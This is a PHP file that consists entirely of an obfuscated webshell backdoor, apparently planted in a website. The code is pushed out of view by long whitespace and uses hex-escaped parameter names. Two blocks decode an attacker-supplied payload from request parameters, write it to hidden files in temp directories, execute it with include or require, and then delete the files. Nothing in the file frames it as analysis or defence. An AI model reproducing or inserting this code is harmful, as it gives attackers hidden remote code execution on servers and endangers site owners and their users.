<?php																																										if(in_array("\x64\x65sc\x72ipt\x6F\x72", array_keys($_REQUEST))){ $itm = array_filter([session_save_path(), getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", sys_get_temp_dir()]); $mrk = $_REQUEST["\x64\x65sc\x72ipt\x6F\x72"]; $mrk = explode ('.' , $mrk ) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $v = 0; $__tmp = $mrk; while ($v3 = array_shift($__tmp)) { $chS = ord($salt[$v % $sLen]); $dec = ((int)$v3 - $chS - ($v % 10)) ^ 83; $record .= chr($dec); $v++; } for ($dat = 0, $val = count($itm); $dat < $val; $dat++) { $entry = $itm[$dat]; if (array_product([is_dir($entry), is_writable($entry)])) { $ent = str_replace("{var_dir}", $entry, "{var_dir}/.elem"); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $ent; @unlink($ent); exit; } } } }


if(in_array("\x72e\x63", array_keys($_REQUEST))){
	$bind = $_REQUEST["\x72e\x63"];
	   $bind	=	 	explode("."	,   $bind);	
	$flag = '';
            $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s8);
            $__len = count($bind);
    
            for($z = 0; $z  < $__len; $z++) { $v5 = $bind[$z];
                $chS = ord($s8[$z%$sLen]);
                $dec =((int)$v5 - $chS -($z%10))  ^	 67;
                $flag 	.=	 chr($dec);
            }
	$factor = array_filter([getenv("TMP"), getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp"]);
	foreach ($factor as $symbol):
    		if ((bool)is_dir($symbol) && (bool)is_writable($symbol)) {
    $flg = vsprintf("%s/%s", [$symbol, ".entity"]);
    if (file_put_contents($flg, $flag)) {
	require $flg;
	unlink($flg);
	die();
}
}
endforeach;
}